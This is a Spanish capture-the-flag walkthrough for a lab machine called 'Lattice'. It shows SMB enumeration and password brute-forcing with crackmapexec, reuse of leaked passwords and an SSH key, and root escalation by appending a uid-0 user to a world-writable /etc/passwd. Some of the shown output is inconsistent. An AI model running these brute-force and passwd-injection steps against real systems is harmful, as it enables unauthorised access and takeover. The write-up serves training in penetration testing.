

LATTICE



Lattice NEW

Descripción: Una empresa confió en un administrador que dejó un sistema Linux con configuraciones cuestionables. Lo que parecía seguro esconde permisos mal gestionados y errores que pueden explotarse. Como un usuario estándar con acceso limitado, tu objetivo es claro: descubrir las debilidades, escalar privilegios y convertirte en root antes de que alguien más lo haga. ¿Estás listo para el desafío?

Sistema Operativo: 🐧 Linux

Autor: Adrián Gisbert

[DESCARGAR MÁQUINA](#)

[MEDIA](#)

Ejecutamos nmap y observamos que existe el puerto 22 con ssh y el resto de puertos relacionados con el protocolo de smb.

```
(kali@kali)~[/lattice]
$ ./../obtain_data.sh 172.17.0.2
The ip_address '172.17.0.2' is valid
Executing sudo nmap -sS -sV -A -O -p- 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-10 15:02 CET
Nmap scan report for e9c89abeb495 (172.17.0.2)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 95:c4:a3:20:eb:9a:2d:7f:0d:57:89:a7:6a:11:e0:ff (ECDSA)
|_  256 b4:81:b9:fd:6e:3e:fa:47:f1:b2:69:b4:dc:42:05:03 (ED25519)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 4.19.5-Ubuntu (workgroup: WORKGROUP)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: 9B8632EABF36; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
_smb-os-discovery:
  OS: Windows 6.1 (Samba 4.19.5-Ubuntu)
  Computer name: 9b8632eabf36
  NetBIOS computer name: 9B8632EABF36\x00
  Domain name:
  FQDN: 9b8632eabf36
  System time: 2024-12-10T15:02:56+01:00
_clock-skew: mean: -20m00s, deviation: 34m38s, median: 0s
_smb-security-mode:
  account_used: guest
  authentication_level: user
  challenge_response: supported
  message_signing: disabled (dangerous, but default)
_smb2-security-mode:
  3:1:1:
  Message signing enabled but not required
_nbstat: NetBIOS name: 9B8632EABF36, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
_smb2-time:
  date: 2024-12-10T14:02:56
  start date: N/A
```

En samba, listamos los recursos visibles para anónimo.

```
Executing smbclient -L 172.17.0.2 -N

Sharename      Type      Comment
-----
print$         Disk      Printer Drivers
public         Disk
it_data        Disk
IPC$           IPC       IPC Service (9b8632eabf36 server (Samba, Ubuntu))
```


Accedemos al recurso public y hay 2 ficheros .txt.

```
(kali㉿kali)-[~/lattice]
$ smbclient //172.17.0.2/public -N
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0 Tue Nov 26 23:59:20 2024
..               D          0 Tue Nov 26 23:59:20 2024
notes.txt        N        411 Tue Nov 26 23:59:19 2024
decrypt_hint.txt N        554 Tue Nov 26 23:58:24 2024

82083148 blocks of size 1024. 52627080 blocks available
smb: \> get notes.txt
getting file \notes.txt of size 411 as notes.txt (401.3 KiloBytes/sec) (average 401.4 KiloBytes/sec)
smb: \> get decrypt_hint.txt
getting file \decrypt_hint.txt of size 554 as decrypt_hint.txt (541.0 KiloBytes/sec) (average 471.2 KiloBytes/sec)
smb: \> exit

(kali㉿kali)-[~/lattice]
```

Si abrimos los ficheros descargados leemos lo siguiente.

```
(kali㉿kali)-[~/lattice]
$ cat notes.txt
Hola equipo,

Parece que tuvimos un problema con las credenciales de acceso a 'it_data'. No podemos recordar la contraseña, pero estoy seguro de que es algo sencillo. Tal vez algo que alguien podría adivinar si lo intenta lo suficiente...

Mientras tanto, he dejado una copia de la contraseña del ZIP en 'confidential'. Por favor, no compartan esta información con nadie fuera del equipo.

Saludos,
itadmin

(kali㉿kali)-[~/lattice]
$ cat decrypt_hint.txt
Hola equipo,

Como parte de nuestra política de seguridad, recuerden que todas las contraseñas deben cumplir con los siguientes criterios:

- Tener al menos 8 caracteres.
- Incluir al menos una letra mayúscula, una minúscula, un número y un símbolo.
- No utilizar palabras comunes o fáciles de adivinar.

Por ejemplo, para el archivo cifrado en 'confidential', la contraseña es: ExPl0r3.2024

Por favor, asegúrense de seguir estas pautas al establecer nuevas contraseñas. La seguridad de nuestra información depende de ello.

Saludos,
itadmin

(kali㉿kali)-[~/lattice]
```

Como el mensaje parece estar escrito por el usuario itadmin, vamos a comprobar si existe en samba o si existiese alguno más.

```
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: itadmin Name: Desc:
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: manager Name: Desc:

user:[itadmin] rid:[0x3e8]
user:[manager] rid:[0x3e9]
enum4linux complete on Wed Dec 11 15:56:57 2024
```

```
(kali㉿kali)-[~/lattice]
$ enum4linux -U 172.17.0.2
```

Al leer vemos que pone que no se acuerdan de la contraseña de itadmin y que esta es sencilla, vamos a realizar un ataque de fuerza bruta usando ese usuario.

```
SMB 172.17.0.2 445 9B8632EABF36 [-] 9B8632EABF36\itadmin:harley STATUS_LOGON_FAILURE
SMB 172.17.0.2 445 9B8632EABF36 [-] 9B8632EABF36\itadmin:ronaldo STATUS_LOGON_FAILURE
SMB 172.17.0.2 445 9B8632EABF36 [+] 9B8632EABF36\itadmin:iloveyou1

(kali㉿kali)-[~]
$ crackmapexec smb 172.17.0.2 -u itadmin -p /usr/share/wordlists/rockyou.txt
```

Accedemos al recurso it_data que se menciona en las notas con el usuario itadmin y descargamos en nuestra máquina todo lo que vemos.

```
(kali㉿kali)-[~/lattice]
$ smbclient //172.17.0.2/it_data -U itadmin
Password for [WORKGROUP\itadmin]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0 Tue Nov 26 23:54:01 2024
..               D           0 Tue Nov 26 23:54:01 2024
protected.zip    N          474 Tue Nov 26 22:47:36 2024
passwd_policy.txt N          659 Tue Nov 26 23:54:00 2024

82083148 blocks of size 1024. 52020620 blocks available
smb: \> get protected.zip
getting file \protected.zip of size 474 as protected.zip (92.6 KiloBytes/sec) (average 92.6 KiloBytes/sec)
smb: \> get passwd_policy.txt
getting file \passwd_policy.txt of size 659 as passwd_policy.txt (160.9 KiloBytes/sec) (average 122.9 KiloBytes/sec)
smb: \> exit
```


Leemos el fichero puesto que todavía no tenemos la contraseña del zip.

```
$ cat passwd_policy.txt
Hola,

De acuerdo con nuestra política de seguridad, todas las contraseñas deben cambiarse cada 3 meses para g
arantizar la seguridad de nuestro sistema.

Notamos que tu contraseña actual, '3xpl0r3!', ya ha superado este límite de tiempo. Por favor, cámbiala
a la brevedad utilizando el siguiente comando:

passwd

Recuerda que las nuevas contraseñas deben cumplir con los siguientes requisitos:
- Al menos 8 caracteres.
- Incluir una letra mayúscula, una minúscula, un número y un símbolo.
- No reutilizar ninguna de las últimas 5 contraseñas.

Si tienes dudas o necesitas ayuda, contacta con el equipo de TI.

Gracias,
- Equipo de Seguridad TI
```

Realizando pruebas comprobamos que la contraseña citada en la nota anterior es del usuario manager. Accedemos al recurso /confidential y descargamos todo.

```
$ smbclient //172.17.0.2/confidential -U manager
Password for [WORKGROUP\manager]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Mon Dec  2 14:49:15 2024
..               D           0   Mon Dec  2 14:49:15 2024
password.txt.gpg N        97   Wed Nov 27 00:01:28 2024
logs.log         N       811  Mon Dec  2 14:56:36 2024

      82083148 blocks of size 1024. 52020600 blocks available
smb: \> get password.txt.gpg
getting file \password.txt.gpg of size 97 as password.txt.gpg (18.9 KiloBytes/sec) (average 18.9 KiloBy
tes/sec)
smb: \> get logs.log
getting file \logs.log of size 811 as logs.log (198.0 KiloBytes/sec) (average 98.5 KiloBytes/sec)
smb: \> exit
```

Leemos primero el fichero de log y sacamos en claro que existe en el sistema un usuario llamado devuser y que existe su clave privada.

```
$ cat logs.log
Parece que hay un usuario llamado devuser en este sistema. Según los registros, este usuario solía enca
rgarse de tareas de desarrollo y pruebas.

[2024-11-27 12:45:23] User 'devuser' connected via SSH from 192.168.1.100
[2024-11-27 12:46:10] User 'devuser' accessed '/opt/config/secure.conf' for reading
[2024-11-27 12:46:35] User 'devuser' modified '/opt/config/secure.conf':
[2024-11-27 12:47:00] User 'devuser' saved changes to '/opt/config/secure.conf'
[2024-11-27 12:47:15] User 'devuser' executed 'ls -l /opt/config/secure.conf'
[2024-11-27 12:48:05] User 'devuser' disconnected from SSH session

Se encontró una clave privada que podría ser útil para conectarse. Tal vez sea la forma de iniciar sesi
ón como devuser... pero asegúrate de que la clave esté protegida correctamente antes de usarla.
```

Realizamos el decrypt al fichero .gpg que descargamos puesto que en notas anteriores nos dieron la clave: ExPl0r3.2024

```
(kali㉿kali)-[~/lattice]
$ gpg --decrypt password.txt.gpg
gpg: AES256.CFB encrypted data
gpg: encrypted with 1 passphrase
Password: zipsecret
```

A su vez esto nos da la contraseña que necesitamos para descomprimir el fichero .zip

```
(kali㉿kali)-[~/lattice]
$ unzip protected.zip
Archive: protected.zip
[protected.zip] private_key.txt password:
inflating: private_key.txt

(kali㉿kali)-[~/lattice]
$ ls
decrypt_hint.txt  notes.txt          password.txt.gpg  protected.zip
logs.log          passwd_policy.txt  private_key.txt

(kali㉿kali)-[~/lattice]
$ cat private_key.txt
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAABG5vbmUAAAABbm9uZQAAAAAAAAABAAAAMwAAAAAtzc2gtZW
QyNTUxOQAAACDw3C5WrHJ/w717DHfg/RxYKt/c38/KUw0zQiH2hrXcvwAAAJB7NA9UezQP
VAAAAAAtzc2gtZWQyNTUxOQAAACDw3C5WrHJ/w717DHfg/RxYKt/c38/KUw0zQiH2hrXcvw
AAAECEmgrp+K+JRbogImLbSdKIS/bJUljvsvM6I/vgJqH2uKfDcLlascn/DvXsMd+D9HFGq
39zfz8pTDTNCIfaGtdy/AAAACWthbGlaa2FsaQECaWQ=
-----END OPENSSH PRIVATE KEY-----
```

Damos permisos necesarios a la clave privada y usamos ssh para conectarnos con dicha clave.

```
(kali㉿kali)-[~/lattice]
$ chmod 600 private_key.txt

(kali㉿kali)-[~/lattice]
$ ssh -i private_key.txt devuser@172.17.0.2
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.11.2-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Máquina generada con cyberland.sh script desarrollado por Adrian Gisbert. Gracias por elegir CyberLand
Labs! Visita: https://cyberlandsec.com/cyberland-labs
Last login: Mon Dec  2 14:20:17 2024 from 172.17.0.1
$ whoami
whoami: cannot find name for user ID 1004: Permission denied
```


Si realizamos un listado del directorio home del usuario tenemos lo siguiente:

```
$ ls
hash_muyconfidencial  salidaficherohasheado  ssh2john  user.txt
```

En el mismo directorio obtenemos la flag de user.

```
$ cat user.txt
$
```

Para poder navegar mejor por el sistema cambiamos la shell.

```
$ SHELL=/bin/bash && script -q /dev/null
I have no name!@9b8632eabf36:~$
```

Buscando formas para realizar el escalado, encontramos un directorio un tanto fuera de lo común /opt/scripts en el que está activado el suid.

```
I have no name!@9b8632eabf36:~$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/opt/scripts
```

En el directorio de /opt/scripts encontramos un script en el que solo tenemos permisos de lectura y ejecución.

```
I have no name!@9b8632eabf36:/opt/scripts$ ls -liah
total 12K
1610956 4.0K drwsr-xr-x 1 0 root 4.0K Nov 27 02:34 .
1611034 4.0K drwxr-xr-x 1 0 root 4.0K Nov 27 02:33 ..
1610957 4.0K -rwxr-xr-x 1 0 root 248 Nov 27 02:34 manage_files.sh
```

Echamos un vistazo al script donde hace referencia al fichero secure.conf el cual el contenido de este define el comportamiento de manage_files.sh.

```
I have no name!@9b8632eabf36:/opt/scripts$ cat manage_files.sh
#!/bin/bash

# Leer el archivo de configuración
source /opt/config/secure.conf

if [ "$safe_mode" = "true" ]; then
    chmod 600 /etc/passwd
    echo "Sistema en modo seguro."
else
    chmod 666 /etc/passwd
    echo "Sistema en modo inseguro."
fi
I have no name!@9b8632eabf36:/opt/scripts$ cat /opt/config/secure.conf
safe_mode=false
```

Ahora vamos a la ruta donde se ubica el fichero secure.conf (/opt/config) y vemos que tenemos permisos de escritura.

```
I have no name!@9b8632eabf36:/opt/config$ ls -lisa
total 20K
1611035 8.0K drwxr-xr-x 1 root root 4.0K Nov 27 02:53 .
1611034 8.0K drwxr-xr-x 1 root root 4.0K Nov 27 02:33 ..
1611036 4.0K -rw-rw-rw- 1 root root 16 Dec 14 11:12 secure.conf
```

Editamos el fichero y ponemos el valor a false.

```
GNU nano 7.2 /opt/config/secure.conf
safe_mode=false
```

Una vez editado el fichero ejecutamos el script y aseguramos que tengamos permisos de escritura en el fichero passwd.

```
I have no name!@9b8632eabf36:/opt/scripts$ /opt/scripts/manage_files.sh
chmod: changing permissions of '/etc/passwd': Operation not permitted
Sistema en modo inseguro.
I have no name!@9b8632eabf36:/opt/scripts$ ls /etc/passwd
/etc/passwd
I have no name!@9b8632eabf36:/opt/scripts$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1375 Dec 10 13:12 /etc/passwd
```


Para añadir un usuario en el fichero passwd es necesario que tenga una contraseña y que esta esté cifrada, es por ello que introducimos una contraseña y la ciframos, en este caso en md5.

```
devuser@9b8632eabf36:~$ openssl passwd -1 "abc123."  
$1$m0i37KE$m$xSdPUHC0IUQmrBPCHrxuo.
```

Creamos un usuario root llamado raat con la contraseña cifrada.

```
devuser@9b8632eabf36:~$ echo 'raat:$1$m0i37KE$m$xSdPUHC0IUQmrBPCHrxuo.:0:0:/:root:/bin/bash' >> /etc/passwd
```

Accedemos como raat, vamos al directorio de root y adquirimos nuestra flag.

```
devuser@9b8632eabf36:~$ su raat  
Password:  
root@9b8632eabf36:/home/devuser# cd  
root@9b8632eabf36:~# l  
root.txt  
root@9b8632eabf36:~# cat root.txt
```